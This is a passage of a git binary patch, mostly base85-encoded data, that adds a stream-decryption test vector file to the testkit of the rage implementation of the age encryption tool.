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 literal 0 HcmV?d00001 diff --git a/lib/rage/age/tests/testdata/testkit/stream_last_chunk_full_second b/lib/rage/age/tests/testdata/testkit/stream_last_chunk_full_second new file mode 100644 index 0000000000000000000000000000000000000000..8e9936df83629341dae39ddf83e0f6612de1ad0b GIT binary patch literal 131507 zcmV(lK=i+5cyMK7bUGk&bz@^?b8`xCVR>wCVPrZWIX7WuI5Re3IXE(5F)%SRF=aS5 zWo9@wWjJGEI51;1W->A|V>x6oF*GnXWH>lwWi~ftGB9H>VPZ95G&wgp3TA0+Wgu&1 zc{(6BVPQ35WMN}4Wj0}EWo2YDWMnX5H)UgEVl*;gW;8SkX=G(?bZK;XIv_zuMJ-cB zLsCUlElWjNEipw$R9aR>MpiN~I5Ra)S6NmzGB+?xSXov}GFD4YSTapbL`zp$OH55i zQZzVKL04EbFi|p4GE7Y{3JPIoWi4fHV{&OHoB)Mnq3TV+wF&T5&5>Fm^aM zMKDx2QEgXkPG(bXV=_5-N?LkUGGuTzdNC_>HE&6ANeV43Eg(WmF-uKjXEaV(WpH;* zXjN=kQAJd7Y*2YJFgaIuH&%HxVoPI7O>s(kK?=w(aqEHtn|BjqndF7&dGu$Ja^?U) zqNxmhV6`K*23K8#nRVtMCD7B3R+3xqZe;Aea}+a4Tt-}OmD&Flh}%iJQHu8=B(+6o z&+yk0zr;qaLNV94RYuB}%k4dgm^ZaMH@8ttkcks@VM9$=UxGh~k@ogjLia(*v+mTH znrxB7MIfqp&?rAJ02R;S;HcrURoaCZ(x!J7OsrPJh{=_VJGMM!)L9U5QLR{I8RUmR znoKnCGkihLHQ9=_qdGcuJC!(imd_oc_1qvV!&T;Char9>UjQ*-=1v25NXK+)Ip3?4 z0D2A20=KE~&RX0r1yXx7`H93F`@6NfAJ90fO>?>{z#_Pm(o?&PUzicm=o97IriPXn zt6vA;ERIh?9E4-uRS%ebC>!p)%Bsj%uHUaczs;)GB*oXTC)8ExhSoVe{bvusS+RoMZ(=+(n2AbqkXUDxiB}EMpwI)v!kY3==ox>M_X`T_;g~immxPhl@Yl zA)hY!(Qk$o>)^Ln)c9gJuQT5XlganOCu5pyy8(!J2V1r1^bMkF+3Xk2hBMiidVd2$ zvCq76#&G~}m-HPjr2Z*(o@}^Ry>4pwcC&`MX1;o-Bp?ZVtmXUu{F^p%T%+ol2oK5m)3 zH-rb~Xm563rB2Y@3-z8kseuAZvr(RND0P3ZQbnXiI%WkI`b2$fj5;{HUa3p9LyTAZ zwhLk}V-otB<(W&?LGu$+p<_%u&^R64r&i|2L=7N2ViZ*))O8X$fOo+u?Lt|#E~#ZR z+|_zAClm82wESrDO9B442X{QbCW3iQe41C5lgT_Xy<@0uy@C;V%2k?=6*}H6o@Ak+ z_hw=Rc_lrz4eqh_+0NUo zXQ_;!5Mh`0bX^VAK|QF3|3c(Mm!gb4K6`wa^V>FKSqM)J+gJdR?+_jkye@^1rD{2F z;zs!tQa1m1AfyNH9F{IeMs8ZUPk_rx?o?!v;1TYc$QljJVQxDJy{#XE;WL?ePWew; z{6pd$VnN4x#V2L<%XAiK0n}mk|9~l^yMIYi0qAT-Xhcw~*MxK(?-_s;-VV5@J>dg6 zB)Y-GgVJ5U*xCj>=0V#~o2KG^fHNYbQQfF5T^JR1yZH##6+DlQ7gjrl~07Ee%QCsKNydZ5gyMyr-p4JcQ{A70#(;PaEIFn zhP(u8Be^Hys!fp8%sQu(W-~F2h=ZFZt%RK%UvW|Y5eDHGN|pgfB*jr*C7z56coC&E zsiny(CRAR6*&eioz{ry*-*=H;fV-s8d zeRbl%jSSZM72ag+wJy;J2Gl8%p{(cb8ryiwdxtb1?v+7mwiZ;mKN5Gnk#D!AqiA@-U4j zL5O+6nXZQDbSjZ1u{;o|8Wg5&K5<7jeKbl0@C^G?1c2}4{057pB!247yo6*%; zw-9)0gJkOR)4lL=7$)Dz|5WK(i8I-MsvmWCs`DN@Za{v@-4wXgO+P{<(F^Z;DbjiT z4pM#EV5CA!n9q^zx&NJik4Eu&dTMZJ;8BLBZpaD{E&e9^Hl7D)36<>8Nw!oLr#N{8 z@EY^%N5d`Uhk}zFQ~T%zR#EuJ!AN2=$ELuslVcorq`;z5V58keQa_5xCntsrj41@o3(^;1X?MTH2feA~1ixKV%`5Bs%$ zA&*df?^7loK$H!CSJ6AxMGD1Z6|Ph0iGHR$(uqxBVV}jYit+(?VV=oL45~ygVz-{+ zZzu&=(FZ=Dp17C~uq~M*zkD-aJ;Na-XVzbJZj;G}QOo)G`*E>gG|RC0V`mRV#LqzJXVtT@D7w4uSewMUwBK%VR-`o*ZcRByhdMm=@Dkd zZA?T`L0(-;k(1=iD;SS_2%((28Vn0>6tR*x!A15} zBjGEe9X-?zfC}wDEmHaJv~-m~ap^RKj$UHHzYFB1-MKal9T*=s#lw0LQ@(7ubnmDi zACpL0W#E(GstSg};T;O4^;U7v{)lwg5O%*Cc-jS@Jt;p>SYn6AnksL*p8g& z0X{E!mVlZkAWf%D^%TIElAU70uV3w0e9CbDr}AH#%k(;{0?2>CrJW`4v-kQ=;?ltx zBh7m;i!!O5Gn=04DJDlKloZMzgB%c_7J3XL zR&d7C{nfAcgc3-QN2;%H@E{rLjo3#KR#p_s+K$ca=_;GX5@yIZMsJ9`!) zEAT1g>c&Yi>uL1e|1qA2%bnNi)zj2ZQyu=TrCy`^2^*G=qA8l=r|#- z2zGV<(7ql+Q0Ua26~iWdU_=3Je>+Hwg!hiX4dQ{nGwf8%I!mkZEej!RN-a?$8)VKA zhJrJN43nXRj=7UpVhjl+j89s$j$y6Ie#AB|`4pE#sxrDQOf!9Oan%&DO4cLRp+Tu0iy{gL;$rP>9WrAbj zc?KF&7l^E8H^UH1xL;W=CawN=6Ps|(W`gu`s{ zoJr;hMOO)X3TaAIOvsncIzr<#7+l}%{ATKT70x8WH=GgaWg-m%Dw%0tM{b6M&7;=Q zVCRo03f7mW7z&O95zez0ru$#dytM|*Tl3J#sG@WT#sFWH zFd@Z%`3iM1S;=y#x5U{HDQu&genf5N#ONblR1cYTR=PhD z1lH7%2vXxBa)GbhY_nBm&0nmqmHoB0$*H3J=2RXA!U2f36K(EHjfQ3p*>h<(AP6KL_TI2`LMf-sB^Cmi^mvq^5o|h|ti=NEc)yx} z7n>vc_qx?`1jJk5#kl03=%&6OZ=zgez-KzAc|)?w3!1Cq-#>u|^EqIEEHWU7*xLte zaFfThP6i>_eXVd6?Pi=3`uQ=3v4N5>5RoBk$AGvO zBQZ&C7_IzVa(I#zbNlU0VIfgO##_)od$dPL25REo+_jGFa3DMMQ$dOFoR+C`?*fX( z#h%-zH^o7cy~1IVy^gMik@;5J+I(ZX!Ihv!skjI_DFlq6R~KdSs)S*=wLU=yYH+E@znJ8 zebL#3)+#(7A&p8mu0#hQySY?G?ErO7^%<5^XiD(2`+|#^d!UEdf759y^V*B)LW)X7es4YTR2Xa026;4R?7SMMD9Vji-~QHpa32v) zcI!f)QqrV4nwMYwVEY?OOM~B5WEOWEjo-W=jP=xs`W&Gx*Gd#1ws0)x|M!Dmy9jVC zTZ&Kc0QogptIl}?t7qI*vMW{Y%I!l!YC_hKBMmA9-o(&Q$eP{Gi7Rs*+|ULo#S?;U z2G&*nZ`?|=EQlcsp=ZdO@ zmUJeYUg)ib0QHvH70P?6ptz^#i_TWtDWB4d-Hl2>a!`GgnPy7bf((L1sP%?*R& zRDcV!d{1CYNPEXxpqygb+^y{#O0XyOLq~!+X-V>oZL-u)$6Zv4lFG4YiR|%rin~c< zbu|1N0WCV!`&okA^R-kWS`U$6GR3C5uE9F^s;@8W*Yop^KG)TZj$-|8igl?NdOp(g z%R7J+yl0mJ{^h}Yk$;u@$GZealwB>hAa&pnRG~HHogJKKoe%H?j}eg^#YFyTGMIS7)-k* zHH79GTN2}LchNTiPL`JK1q>F5)=JKK4sAP+PiRY9Zxo{qVffakr6|$CU*sMi3{myW z;Ex7ZY*)B`)7Zhu70V0ZjulFUlMM;=1)wBL>?IklH0CP)lGJVkP*r(FpUl0HDv1^~ zc=0f3cE$kf4Itx-B}=u9^7{h_;U0^kl$1)6_xMHkk1kC#@0+K~i=Y9f53 zWRF^QOx(3D))32=WHk;z6XdFT3I*`bV+)Xj!W$%W2Mu9hi(NIWE|OB?U}*d*9AP7@ zcsB|WUGZXy@21xctJ%3^Qqt%xROAosX*T=_Bvsb17``$7L9c$trd2VusC98YYTAQ> zr%_K5<9rRyv13GAI8$$Ms|x0?gi>CMKN_kX3Gqvv>qs(%-TZG_ZFvP>Po)Pqg~#$8 zY>tiLYMh1V2$1tush`EDkIDUM%QuZH8jpUvRW~uU-E$S*vA)q39HpSQY&lpiHyk0 z5yJ#!5YBLK&{Y!I`na_5J?B1iYjSIC1E2M`fM#TwKHV)qj%8%`^z8<%W2)`o8o=x_ z>yC;y^cWAjD{pSq#CP%yO65Nuz%OV2w<~Rn5l6Ir?oH3JO!FJ^#z5FQ;4bVIG7eAo z;M47woBOx}aBbQ3=k75~6Z=lZBEY}mJazGd;O!iHpI<`w?S;T3dtd=Q9fO+{_L>Gf zX17GEn@L2imh@XyP$}1jc(vPw7%acD=F^KZkL=*ZH?YMT)!&)J?a4X(IN_f>Wp^#I zpj(Amt{O%_gWK~~s)?mo^i3M}nbVI=uHobhYI$5*Qe}bO>837&6no!iy^#9(phGcv zxGCkfFzMD`1W??+X5L}LSQNvW=E^?G8J0*T6`!0J6x%N#mmiRp6-?PCm{h|k%nEQoy9XY7mg zvEp7TaJH~3Wc$}#V!gTG*}LbDF+b0or>b>5@gn6EDk^Hl=`21}Cu)pLUq#KRVO8d= z|1yD6dc#zxe$cE4_wt?qbCY1XLF`#{$6u$7?Sed$9fIRMOPN~<+Mz+N7NGLWIC0pKc@^m!+enXT&m7kAkdEOEIqLh zprVVD_#wi0^oGlJ;OUp;ccD9VRUz{3>z!DxpW4^Y`R{pffqE3l5C?2^!G@uS7@Kdi z+1^L@&poS~f3d#=OW#EGpytugrS>e$HfEHcK?DDvZKm9(~V~QG}s}b!spPVLPG}oo7hTup%k|X1!gp8 zDFB)aS^4UZ3~U^b@KXhD$rw8<9L)Ny9p0@7HqOg@ei41J?V93lJu(-zTej8ahGmg# zIf!@Tsn!Y{oo@Zj%EitwD*7<>lGgZUjD&(53>|#U6cj9;%h;lUDkB!)zeGS^9W z5KE+)lJjI~a}4>X^*E(xXxBD@Rt#gb>&={VHI|_X ziVcZLgH?|X0H-QctEoc{64-`WU!hbeQF2!ASN9J4E7!k>x=`OYw)r27&p%HEYgqT970mQ zNm@aH{Lj=qCunl;aQBZD2H6PG9`5g87=cx--RhIlD2&XpV0*V%s?{(42r!Y8aEE<~ z9Ed44s*O6%LvOq`-|MR*Ut<=tmRRBGoMXn%r64zb_4XDmE{-az!L#L^iE1KtwwhZt z)kVTtxJ6Q^cf8r)10wA}tO^4V+fk*~Vf!hhK3(eU<0h5eUQTPV&W3+?nh9o=j=2ob zqX*qI82m6Gog@L#pbYt;($8kn!!&?jSEUKsyi=%*93ce*SmGwNjrQH1JUEO&=!@sq!MUH_7dZ7(94N6mDNutyGP$174 zN92#5DJBWT4J9{Xa>NZ!ywXYBW!n5bcAvq#ne>VP_Cr+Z?E3Ex%hON%n{FNOguG5F zoKk)k?N}Yp9a=~tx<&!Wx#sWh09ZAG0vZRaff&<4E*QJLc>?O4{8h1o8hr-9b+1!X zigb@0IlDIh1dM60M)*QI1n|C8jx{poFy*xG=x)o0OKdUf{5DBG7~{_iI8axKEo@n* zsJxw362%{@DrLMsMcAGK!VL0)%y?Up@UeFI+k{#{_=`?aN#fV5d8F+t++J`%l>gRg zHof!WpOh_z#s{BR%gS(CMArXr?2PNI7WR*xCGUP?!&&fDu_MaJ89?h86fuEn7mI4&3N14I>vz$7y+b`@i`BI zPiNGV{R@-vl9u$I#gg)#oc%vcs>ku&<&Bg27PipH2-nNY)^Uclt*|i>#m#I za+lBQ8?ie&UqY;L|78@T3Em7zW`}fuDrLdZwg<;~qJ0p$MopT*YAdmt+P@^T zAiB#_U`2biRBW}6QzP-5-~LtQVm)P5l1GH6xr=+-f^=Yh(vuQiis7MiR=hC1VI2~D zNxp0ma~~Z+5{oJ1Y$M>|e-hsmPh5dp;lmQG;rj+N2^4^_^e9(vIhQT@7 z&g{ocmwk>oGi*?a#DvUow5GKZD7t|Pz#m6qz(e7w(lj?%dKq?sW{=)3zp-${dCrqY!olgiOT-=$aO^~hB@6I>f!tly zPkEfK;sar6otTH0@R)XkJb`us>m?VkR-}LZ)QukHS;M3BY%{i$607tz$e6PBIGY=R zY!pzo(3$gvWQvwYzf(x6K>SZ+oPHHN8h`#*LsKD<-H(>}Dus^a!ZwGy2tY0}K^9@LADjG;~n zJSH=X+(whcpG|B#NUJZ>!$fk%ZimnbANNF(hSXITMr&0ibp&Od*$+u`)M|RXQXxsl zfNO-JBGyeG#XbWQKx_ojn-{d^{lk@ou$FeO!=&a>pHj}k!l_zVnGqhb$%{9U1wsXQ z8m@vk7pi;LSy|8&z#e>kaihRc3mrr!I0^cRnwB%QwBtoPm0+9ZX%OS}!A-FQ$x=AY@xh**$Q1)j4}r8ZtCyRS;pH8n?v!m!`voN>r& zr7UC|-jvf>9yICCO0b~gJN0>(+rUU!fHRUcW$h0rHVxznxCLf;+D~Is~Q$A^?(0s>4 z(P!VTW-}XUr-^uw^UB;gq(UD|F0C%ks7@=7fAIIJZ$;o`q10z2X@c;hgN5o|D-5LyKlBsNeswbW)aN zytr6n5(G>^dJ%)Wi+wW<${%1`gwEX1D&HfDH`@7KRnq7? zjFm9}>|x7X-Pa27o{oRBjTx%j)?z$6mP^%OkXMtjD$M`XS9LLD_vdzO7mD(i5n-`b z(JQs9UF@jaB#2Zvi2Twitcq4KuMs6DA5>3w9YuohTsYuhA&#eDMde&V;laoIYqyP_ zO=^dCh?e7fUO)U(%sWa@E&2S*wt(8fmfOyrV3Bko4@P4|C7UT!ev0ESLp*v%h~7{T zK;kmw5%hru{ISJ*h?h^DGa5xG)fC#45HDV3yh9Q<@fq4P1q`I4jXt zpC>L}!U$TmhLS`DvSF1ZKknGin}}fW?WFGW{TefrsFpWwgy}@|mmC2$7(whND-~K* zkP=cP!7ZbMExoP5wld>y{>4+yVHWjbngXiTMkCVqTOATrE4v-?1?vxa{%pwzn^vIRlzpW!I zAv)z;Cw}Zjmg1i*k`OTKvSm_> zp)N;)Ug6$H!h3Ttp)l-2;jylM4XbemykX3PFk6VI(*|d6tvzHshaJm0z?Jw}i$-dTA!~ALQ@o4*jpyJEVKVwmeVG|Z zlDT?f1vS0B==VMfNJ%S+i5iJavhkLF&ceO>?H6O#6KQkc;o?AmHY+ukyo^oMyP^xp z)5LBv;y#`AGbl#Vai_M6>X_1@yWH-E%CYWpOLJz4_KTf9p}jkvkC8-8-rdG|Kbf3g zI7j(2P`VYff4nfstAPl?P&#|ZS5AsnN8TT4*pvdn7+gxgwI8RCSBtf6!1Kh;`P>J<;EOY%Yt#~G~J*hr-!yll0bw_D-W-dn;>BfSzlfonw<~Grd5Wr~b^M4ko z$2YAS*4dBp<~NV{f}ZEQoG-?IBLc9OtK17;k$k490qDbuOe?_eQGs4PphU&H4TU~j zuTnWCCslyyLi63lnzpNdEn12ibAL>sL`60X^~anGwHH>|v(U1cD?J<^IRldBrVo2K zwb6)VMgtqYV{bJgrby`7&8%jaH986U=tb3aC-j~*v%Iq55!tx0;$hJ?*7K2&_@a&e zPR78cqMMxzd}tqXkJ?$j&=bzcOhY#f9s?|HISO)85p>tnS#M^fCtmMVYp-U zA=S$8M_XBBVEh9;IQ1|b(=c^*6*(d((qk-y@`x2GIYDBMC4ae1p;8hcEm*vRrhPJ< zQWAaMW0NbEh>7RdS)n~n$y)M@15+qC3SduC?SK0&>4UHH{1Vjj?M*#Ez9h<<_urRF zryu$bW{gOkly1v}i{Pzqc>p-u)2ZyzWS&+b7RR7&%MXFLhdF3Xgasn&`+3`(;v;E3`caEWn14u7V<+#U*}^uquDVPJ2P^x zfb_IZwZ4~P5mX3aK>8(=C%Z7)*Hlp-{Dsk3!x#Lt2-sO1q|)}JN?=o$p&n0UZEP&A zZl}BJR7MrJ^*AP6dtKUDeTfsbZ#BmUvJ<$=phx-;+xGTu-8`7nyVf&Fa?CPIBSqEA zm)-d_D98Wr*N30NlM6Qs0T6}Hrtob1B*@)BS*97rDs9q~EQ);&%>YRoZ2eY|Lgelz zv@tifJ z9SiL9Wp=bK*Karn9?LSJQHpf56v99j7k|uqQ=dPk2@%?yq{&2AwiJf_0G|&K>)8Cp zSl$gw)HsrJ;7rt@*+?8YqHoI1M7iiJjbIxC6|%R3W0YDkUcyZP2>wCR-XS<4AtS${ z&8JCM88F#176*WQ;&k07DJ*qF*OgVF&wGC}4s%FBsM7Ne=?ifk?HGLPzhl`3sM$4dGOT~I{BAN=mls!crKFUP*Big(^e~c5Sx;6V| 